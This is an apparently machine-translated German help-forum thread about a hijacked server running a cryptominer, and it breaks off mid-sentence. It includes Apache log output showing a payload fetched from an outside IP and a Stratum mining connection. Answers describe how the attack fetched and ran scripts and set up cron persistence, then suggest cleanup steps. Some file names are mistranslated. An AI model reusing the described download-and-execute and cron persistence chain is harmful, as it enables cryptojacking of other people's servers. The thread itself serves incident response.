Ich stecke in einer schwierigen Situation: Mein Server wurde gekapert und scheint an einem Bitcoin-Mining-Vorgang beteiligt zu sein.
Ich muss zumindest wissen, wo ich anfangen soll. Ich bin ein unerfahrener Systemadministrator und habe das noch nie erlebt. Es sprengt meine Bandbreite und mein Hosting-Anbieter berechnet mir 50 Cent pro GB und es ist deswegen an einem Tag von 255 GB auf 301,8 GB gestiegen. Jede Hilfe ist willkommen.
Ich habe in den Protokollen zu Stratum viel Müll gefunden, sowie Skripte auf externen IP-Adressen, die auf meinem Server ausgeführt werden. Dann schaue ich in mein /tmp-Verzeichnis und sehe 7 Dateien, die
- Schlag
- cron.d
- mech.dir
- Sch
- spamd_full.sock
- aktualisieren
Ein Beispiel für den Inhalt meines Apache-Fehlerprotokolls sieht wie folgt aus:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40-- http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... .......... 9% 148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19% 172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29% 344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39% 514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 300K .......... .......... .......... .......... .......... 69% 224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79% 347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88% 348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 450K .......... .......... .......... .......... .......... 98% 254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... 100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
Antwort1
Ich würde zunächst die Verbindung zu den externen Adressen mit iptables blockieren.
iptables -A OUTPUT -d IP_Address -j DROP
Nachdem Sie sichergestellt haben, dass alle IP-Adressen blockiert werden, speichern Sie die Iptables und # /sbin/service iptables save
bereinigen Sie anschließend die vom Hijacker platzierten Dateien.
Sie sollten nachsehen /etc/var/log/messages
, /etc/var/log/secure
ob der Hijacker Einträge hinterlassen hat, die Aufschluss darüber geben, wie er/sie sich möglicherweise Zugang zu Ihrem Server verschafft hat.
Wenn Sie eine Website betreiben, achten Sie darauf, dass Sie keine Webseiten haben, die es Benutzern ermöglichen, Dateien wie PHP-Shells hochzuladen.
Damit haben Sie den Anfang gemacht. Sie können Ihren Hosting-Anbieter auch bitten, einen Antivirenscan durchzuführen, um nach Skripten/Dateien zu suchen, die Zugriff gewähren.
Antwort2
Die Miner Ihres Bots stellen keine Verbindung her, sodass der Exploit immer wieder neu ausgeführt wird und die Miner immer wieder heruntergeladen werden.
Wir haben vor Kurzem einen Exploit-Versuch mit fehlerhaften CGI-Bin-Einstellungen beobachtet, der damit in Zusammenhang zu stehen scheint.
Es wurde versucht, herunterzuladen
74.208.228.113 / a
und führen Sie das als Shell-Skript aus.
Dieses Skript macht ein paar Dinge, als wir es uns ansahen, löschte es den Crontab-Eintrag und ersetzte ihn durch einen Versuch, ein Skript auszuführen, das gezogen wurde aus
74.208.228.113 / update
Es platziert das gleiche Skript auch in /etc/cron.hourly
Dieses Skript führt ein „ps x“ aus und sucht nach einer erfolgreichen Miner-Verbindung. Wenn es diese nicht findet, lädt es das Skript erneut herunter und führt es erneut aus.
Ganz am Ende des Skripts greift es
74.208.228.113 / clamav
Und
74.208.228.113 / sh
die wie unterschiedlich kompilierte Versionen von Minerd aussehen. Es benennt Clamav in Bash um und startet dann beide Mining-Programme unter 216.230.103.42.
Wenn Sie auf ähnliche Weise ausgebeutet wurden, müssen Sie:
cgi-bin deaktivieren
Überprüfen Sie die Crontab für den Benutzer, der httpd ausführt (wahrscheinlich root oder Apache), und löschen Sie den Eintrag „update“
Suchen Sie in /etc/cron.hourly/ nach einer Datei namens update und prüfen Sie, ob sie auf die 216.230.103.42 verweist, mit der die Miner keine Verbindung herstellen können. Löschen Sie diese Datei, um
Es sind diese Update-Einträge, die die Bandbreite beanspruchen. Der Crontab-Eintrag wird einmal pro Minute ausgeführt, jede Minute.
Ich denke jedoch, dass es eine bessere Lösung ist, es aus dem Orbit zu bombardieren. Wenn Ihr CGI-Bin so eingestellt ist, dass Remote-Exploits, die Skripte ausführen, zugelassen werden, gibt es keine Garantie